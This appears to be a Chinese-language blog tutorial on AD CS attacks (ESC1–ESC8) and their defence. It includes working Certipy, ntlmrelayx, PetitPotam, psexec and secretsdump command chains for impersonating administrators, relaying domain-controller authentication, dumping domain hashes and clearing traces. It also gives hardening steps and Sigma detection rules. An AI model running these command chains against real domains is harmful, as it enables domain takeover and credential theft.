前言
Active Directory Certificate Services (AD CS) 是 Microsoft 提供的企業級 PKI (Public Key Infrastructure) 解決方案,廣泛部署於企業內網環境中。然而,由於其複雜的配置選項和常見的錯誤設定,AD CS 已成為攻擊者在內網滲透中的重要攻擊面。
本文將深入探討 AD CS 的攻擊技術,涵蓋 ESC1 至 ESC8 等多種漏洞利用方式,並提供防禦措施與監控策略。
1. AD CS 架構概述
1.1 核心元件
AD CS 主要由以下元件組成:
- Certificate Authority (CA):憑證授權中心,負責簽發和管理數位憑證
- Certificate Templates:憑證模板,定義憑證的屬性和用途
- Enrollment Services:註冊服務,處理憑證請求
- Web Enrollment:Web 介面的憑證註冊服務
1.2 憑證模板關鍵屬性
1
2
3
4
5
6
| 屬性名稱 說明
─────────────────────────────────────────────────────
msPKI-Certificate-Name-Flag 憑證名稱標記,決定 SAN 設定
msPKI-Enrollment-Flag 註冊標記,決定註冊行為
pKIExtendedKeyUsage 擴展金鑰用途 (EKU)
msPKI-RA-Signature 管理員簽章需求
|
1.3 常見 EKU 類型
| EKU OID | 名稱 | 用途 |
|---|
| 1.3.6.1.5.5.7.3.2 | Client Authentication | 用戶端驗證 |
| 1.3.6.1.5.5.7.3.1 | Server Authentication | 伺服器驗證 |
| 1.3.6.1.4.1.311.20.2.2 | Smart Card Logon | 智慧卡登入 |
| 1.3.6.1.5.2.3.4 | PKINIT Client Authentication | Kerberos PKINIT |
2. ESC1 至 ESC8 漏洞概述
以下是 SpecterOps 團隊識別的主要 AD CS 漏洞:
ESC1 - 模板錯誤配置允許任意 SAN
當憑證模板允許申請者指定 Subject Alternative Name (SAN) 時,攻擊者可請求包含高權限使用者 UPN 的憑證。
關鍵條件:
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 標記啟用- 模板允許 Client Authentication
- 低權限使用者有註冊權限
ESC2 - 任意用途的 EKU
憑證模板配置了 “Any Purpose” EKU 或無 EKU,可被濫用於任何目的。
ESC3 - 註冊代理模板濫用
錯誤配置的 Enrollment Agent 模板允許代替他人申請憑證。
ESC4 - 模板存取控制漏洞
低權限使用者對憑證模板擁有寫入權限,可修改模板配置。
ESC5 - PKI 物件存取控制漏洞
CA 伺服器或相關 AD 物件的 ACL 配置錯誤。
ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 標記
CA 配置允許在憑證請求中指定 SAN,即使模板未允許。
ESC7 - CA 管理員權限濫用
擁有 CA 管理權限的使用者可核發任意憑證。
ESC8 - NTLM Relay 至 Web Enrollment
HTTP-based Web Enrollment 服務未啟用 EPA,可進行 NTLM Relay 攻擊。
3. Certify 與 Certipy 工具使用
3.1 Certify (Windows)
Certify 是 GhostPack 套件中的 C# 工具。
列舉易受攻擊的模板
1
2
3
4
5
6
7
8
| # 尋找所有易受攻擊的模板
Certify.exe find /vulnerable
# 尋找特定類型的漏洞
Certify.exe find /vulnerable /currentuser
# 列舉所有 CA
Certify.exe cas
|
申請憑證
1
2
3
4
5
| # 使用易受攻擊的模板申請憑證
Certify.exe request /ca:DC01.corp.local\corp-DC01-CA /template:VulnerableTemplate /altname:administrator
# 申請 Machine 憑證
Certify.exe request /ca:DC01.corp.local\corp-DC01-CA /template:Machine /machine
|
3.2 Certipy (Python/Linux)
Certipy 是跨平台的 Python 工具,功能更為全面。
安裝
1
| pip3 install certipy-ad
|
基本列舉
1
2
3
4
5
6
7
8
| # 列舉 AD CS 環境
certipy find -u 'user@corp.local' -p 'Password123' -dc-ip 10.10.10.10
# 僅輸出易受攻擊的模板
certipy find -u 'user@corp.local' -p 'Password123' -dc-ip 10.10.10.10 -vulnerable
# 使用 NTLM Hash
certipy find -u 'user@corp.local' -hashes :aad3b435b51404eeaad3b435b51404ee -dc-ip 10.10.10.10
|
輸出格式
Certipy 會產生多種格式的報告:
1
2
3
| corp_local_Certipy.txt # 文字報告
corp_local_Certipy.json # JSON 格式
corp_local_Certipy.zip # BloodHound 匯入格式
|
4. ESC1 模板設定錯誤利用
4.1 攻擊條件
- 憑證模板的
msPKI-Certificate-Name-Flag 包含 ENROLLEE_SUPPLIES_SUBJECT - 模板 EKU 允許 Client Authentication
- 攻擊者對模板有 Enroll 權限
- 無需管理員核准
4.2 使用 Certipy 進行攻擊
步驟一:識別易受攻擊的模板
1
| certipy find -u 'lowpriv@corp.local' -p 'Password123' -dc-ip 10.10.10.10 -stdout -vulnerable
|
輸出範例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| Certificate Templates
0
Template Name : VulnerableTemplate
Display Name : Vulnerable Template
Certificate Authorities : corp-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True <-- 關鍵漏洞
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : None
Private Key Flag : 16842752
Extended Key Usage : Client Authentication
Requires Manager Approval : False <-- 無需核准
Requires Key Archival : False
Authorized Signatures Required : 0
Permissions
Enrollment Permissions
Enrollment Rights : CORP.LOCAL\Domain Users <-- 任何網域使用者
|
步驟二:請求惡意憑證
1
2
3
4
5
| # 請求冒充 Domain Admin 的憑證
certipy req -u 'lowpriv@corp.local' -p 'Password123' -dc-ip 10.10.10.10 \
-ca 'corp-DC01-CA' \
-template 'VulnerableTemplate' \
-upn 'administrator@corp.local'
|
輸出:
1
2
3
4
| [*] Requesting certificate...
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@corp.local'
[*] Certificate saved to 'administrator.pfx'
|
步驟三:使用憑證進行驗證
1
2
3
4
5
6
7
8
9
10
| # 使用 Certipy 進行 PKINIT 驗證,取得 TGT
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
# 輸出
[*] Using principal: administrator@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@corp.local': aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe
|
步驟四:使用取得的憑證
1
2
3
4
5
6
7
8
| # 設定 Kerberos 票證
export KRB5CCNAME=administrator.ccache
# 使用 psexec 進行遠端執行
impacket-psexec -k -no-pass corp.local/administrator@dc01.corp.local
# 或使用 Pass-the-Hash
impacket-psexec -hashes :2b576acbe6bcfda7294d6bd18041b8fe administrator@10.10.10.10
|
5. ESC4 模板權限提升
5.1 漏洞原理
當低權限使用者對憑證模板擁有以下權限時,可修改模板配置:
WritePropertyWriteDaclWriteOwnerFullControl
5.2 攻擊流程
步驟一:識別可寫入的模板
1
2
| # 使用 Certipy 檢查模板權限
certipy find -u 'user@corp.local' -p 'Password123' -dc-ip 10.10.10.10 -vulnerable
|
查看 ACL 輸出:
1
2
3
4
5
6
7
| Permissions
Object Control Permissions
Owner : CORP.LOCAL\Domain Admins
Write Owner Principals : CORP.LOCAL\Domain Admins
Write Dacl Principals : CORP.LOCAL\Domain Admins
CORP.LOCAL\IT-Support <-- 可利用
Write Property Principals : CORP.LOCAL\IT-Support <-- 可利用
|
步驟二:修改模板配置
1
2
3
4
5
6
7
| # 備份原始模板配置
certipy template -u 'ituser@corp.local' -p 'Password123' -dc-ip 10.10.10.10 \
-template 'TargetTemplate' -save-old
# 修改模板,使其可被濫用 (設定 ESC1 條件)
certipy template -u 'ituser@corp.local' -p 'Password123' -dc-ip 10.10.10.10 \
-template 'TargetTemplate' -configuration ESC1
|
步驟三:利用修改後的模板
1
2
3
4
5
| # 使用 ESC1 攻擊手法
certipy req -u 'ituser@corp.local' -p 'Password123' -dc-ip 10.10.10.10 \
-ca 'corp-DC01-CA' \
-template 'TargetTemplate' \
-upn 'administrator@corp.local'
|
步驟四:還原模板配置 (清除痕跡)
1
2
3
| # 還原原始配置
certipy template -u 'ituser@corp.local' -p 'Password123' -dc-ip 10.10.10.10 \
-template 'TargetTemplate' -configuration TargetTemplate.json
|
5.3 使用 PowerShell 手動修改
1
2
3
4
5
6
7
8
9
10
11
12
13
| # 取得模板物件
$templateDN = "CN=TargetTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local"
$template = Get-ADObject -Identity $templateDN -Properties *
# 修改 msPKI-Certificate-Name-Flag 以允許 SAN
Set-ADObject -Identity $templateDN -Replace @{
'msPKI-Certificate-Name-Flag' = 1 # ENROLLEE_SUPPLIES_SUBJECT
}
# 修改 pkiExtendedKeyUsage 以包含 Client Authentication
Set-ADObject -Identity $templateDN -Replace @{
'pKIExtendedKeyUsage' = '1.3.6.1.5.5.7.3.2'
}
|
6. ESC8 NTLM Relay 到 Web 註冊
6.1 漏洞原理
AD CS Web Enrollment 服務 (/certsrv/) 預設使用 NTLM 驗證,且未啟用 Extended Protection for Authentication (EPA)。攻擊者可透過 NTLM Relay 攻擊,使用強制驗證取得的 NTLM 驗證資訊向 CA 申請憑證。
6.2 攻擊準備
確認 Web Enrollment 服務
1
2
3
4
5
| # 檢查 Web Enrollment 端點
curl -I http://ca.corp.local/certsrv/
# 使用 Certipy 確認
certipy find -u 'user@corp.local' -p 'Password123' -dc-ip 10.10.10.10 | grep -i "web enrollment"
|
6.3 攻擊步驟
步驟一:設定 NTLM Relay
1
2
3
4
5
| # 使用 ntlmrelayx 設定 Relay 到 AD CS
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp \
-smb2support \
--adcs \
--template 'DomainController'
|
步驟二:觸發 NTLM 驗證 (使用 PetitPotam)
1
2
3
| # 使用 PetitPotam 強制 DC 向攻擊者驗證
python3 PetitPotam.py -d corp.local -u 'user' -p 'Password123' \
attacker_ip dc01.corp.local
|
或使用其他強制驗證技術:
1
2
3
4
5
6
| # PrinterBug / SpoolSample
python3 printerbug.py corp.local/user:Password123@dc01.corp.local attacker_ip
# DFSCoerce
python3 dfscoerce.py -d corp.local -u 'user' -p 'Password123' \
attacker_ip dc01.corp.local
|
步驟三:取得 DC 憑證
當 NTLM Relay 成功後,ntlmrelayx 會輸出 Base64 編碼的憑證:
1
2
3
4
5
6
7
8
9
| [*] SMTPD: Received connection from 10.10.10.10
[*] HTTPD: Received connection from 10.10.10.10
[*] HTTPD: Client requested path: /certsrv/certfnsh.asp
[*] HTTPD: NTLM auth from DC01$ succeeded
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] Got certificate with target 'DC01$' as principal
[*] Certificate retrieved and saved to 'DC01$.pfx'
|
步驟四:使用憑證取得 DC 權限
1
2
3
4
5
6
7
8
9
| # 使用憑證進行 PKINIT 驗證
certipy auth -pfx DC01\$.pfx -dc-ip 10.10.10.10
# 輸出
[*] Using principal: DC01$@corp.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc01.ccache'
[*] Trying to retrieve NT hash for 'DC01$'
|
步驟五:DCSync 取得所有密碼
1
2
| # 使用 DC 機器帳號進行 DCSync
impacket-secretsdump -k -no-pass corp.local/DC01\$@dc01.corp.local
|
6.4 進階:使用 Certipy 的整合 Relay
1
2
3
4
5
| # Certipy 提供整合的 relay 功能
certipy relay -ca ca.corp.local -template 'DomainController'
# 在另一個終端觸發驗證
python3 PetitPotam.py attacker_ip dc01.corp.local
|
7. 防禦措施與加固建議
7.1 模板安全配置
移除不必要的 SAN 設定
1
2
3
4
5
6
7
8
9
10
11
12
13
| # 檢查並修復 ENROLLEE_SUPPLIES_SUBJECT 標記
$templates = Get-ADObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,$((Get-ADRootDSE).configurationNamingContext)" -Filter * -Properties *
foreach ($template in $templates) {
if ($template.'msPKI-Certificate-Name-Flag' -band 1) {
Write-Warning "Template $($template.Name) allows enrollee to supply subject!"
# 移除危險標記 (請先測試)
# Set-ADObject -Identity $template -Replace @{
# 'msPKI-Certificate-Name-Flag' = $template.'msPKI-Certificate-Name-Flag' -bxor 1
# }
}
}
|
限制模板權限
1
2
3
4
5
6
| # 檢查模板的 ACL
$templateDN = "CN=VulnerableTemplate,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local"
(Get-Acl "AD:\$templateDN").Access | Where-Object {
$_.ActiveDirectoryRights -match "Write" -or
$_.ActiveDirectoryRights -match "GenericAll"
}
|
7.2 CA 伺服器加固
停用 EDITF_ATTRIBUTESUBJECTALTNAME2
1
2
3
4
5
6
7
8
| # 檢查當前設定
certutil -getreg policy\EditFlags
# 移除危險標記
certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
# 重啟 CA 服務
Restart-Service certsvc
|
啟用管理員核准
1
2
3
| # 對敏感模板啟用 CA 管理員核准
# 在 Certificate Templates MMC 中設定:
# - Issuance Requirements -> CA certificate manager approval
|
7.3 Web Enrollment 防護
啟用 Extended Protection for Authentication
1
2
3
4
5
6
| # 在 IIS 中設定 EPA
# 1. 開啟 IIS Manager
# 2. 選擇 CertSrv 站台
# 3. 選擇 Authentication
# 4. 選擇 Windows Authentication -> Advanced Settings
# 5. 設定 Extended Protection 為 "Required"
|
強制使用 HTTPS
1
2
3
| # 移除 HTTP 綁定,僅保留 HTTPS
Import-Module WebAdministration
Remove-WebBinding -Name "Default Web Site" -Protocol http -Port 80
|
7.4 網路層防護
1
2
| # 透過防火牆限制 NTLM Relay
# 限制對 CA Web Enrollment 的存取來源 IP
|
7.5 最小權限原則
| 角色 | 建議權限 |
|---|
| Domain Users | 僅允許 Enroll 基本使用者憑證 |
| IT Support | 限制對 CA 和模板的管理權限 |
| CA Admins | 專用管理帳號,啟用 MFA |
8. 偵測與監控策略
8.1 Windows 事件日誌
關鍵事件 ID
| 事件 ID | 來源 | 說明 |
|---|
| 4886 | Security | Certificate Services 收到憑證請求 |
| 4887 | Security | Certificate Services 核准並簽發憑證 |
| 4888 | Security | Certificate Services 拒絕憑證請求 |
| 4768 | Security | Kerberos TGT 請求 (使用憑證) |
| 4769 | Security | Kerberos Service Ticket 請求 |
啟用詳細稽核
1
2
3
4
5
6
7
| # 啟用 Certificate Services 稽核
certutil -setreg CA\AuditFilter 127
Restart-Service certsvc
# 啟用進階 Kerberos 稽核
auditpol /set /subcategory:"Kerberos Authentication Service" /success:enable /failure:enable
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enable
|
8.2 偵測規則範例
偵測異常 SAN 請求
1
2
3
4
5
6
7
8
9
| <!-- Windows Event Forwarding 規則 -->
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID=4886)]] and
*[EventData[Data[@Name='SubjectAltName'] and Data != '']]
</Select>
</Query>
</QueryList>
|
Sigma 規則:偵測 ESC1 攻擊
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| title: Potential AD CS ESC1 Attack - Certificate with Suspicious SAN
status: experimental
logsource:
product: windows
service: security
detection:
selection:
EventID: 4887
filter_san:
SubjectAlternativeName|contains:
- '@'
- 'UPN='
filter_subject_mismatch:
# SAN 中的 UPN 與請求者不同
condition: selection and filter_san and filter_subject_mismatch
falsepositives:
- Legitimate certificate enrollment with SAN
level: high
|
Sigma 規則:偵測 PKINIT 驗證
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| title: Kerberos Authentication Using Certificate
status: experimental
logsource:
product: windows
service: security
detection:
selection:
EventID: 4768
PreAuthType: 16 # PA-PK-AS-REQ (Certificate)
condition: selection
falsepositives:
- Smart card authentication
- Legitimate certificate-based authentication
level: medium
|
8.3 BloodHound 整合
1
2
3
4
5
6
| # 使用 Certipy 產生 BloodHound 相容的資料
certipy find -u 'user@corp.local' -p 'Password123' -dc-ip 10.10.10.10 \
-bloodhound -ns 10.10.10.10
# 匯入 BloodHound
# 將產生的 .zip 檔案拖放到 BloodHound GUI
|
8.4 持續監控建議
使用 PowerShell 監控模板變更
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # 建立模板變更監控腳本
$templateContainer = "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,$((Get-ADRootDSE).configurationNamingContext)"
# 取得當前模板 Hash
$baseline = Get-ADObject -SearchBase $templateContainer -Filter * -Properties * |
ForEach-Object {
@{
Name = $_.Name
Hash = (Get-FileHash -InputStream ([IO.MemoryStream]::new([Text.Encoding]::UTF8.GetBytes($_ | ConvertTo-Json)))).Hash
}
}
# 比較並警報
# (可整合至 SIEM 或定期執行)
|
監控重點項目
- 模板屬性變更:監控
msPKI-Certificate-Name-Flag 變更 - 權限變更:監控模板和 CA 物件的 ACL 變更
- 異常憑證請求:大量請求或非工作時間的請求
- Web Enrollment 存取:監控
/certsrv/ 的存取日誌
結論
AD CS 攻擊已成為內網滲透中極具威力的攻擊向量。透過理解 ESC1-ESC8 等漏洞原理,防禦團隊可以更有效地識別和修復環境中的風險配置。
關鍵防禦措施包括:
- 定期審查憑證模板配置
- 實施最小權限原則
- 啟用完整的稽核日誌
- 部署即時監控和警報機制
建議定期使用 Certify 或 Certipy 等工具進行自我評估,在攻擊者之前發現並修復問題。
參考資源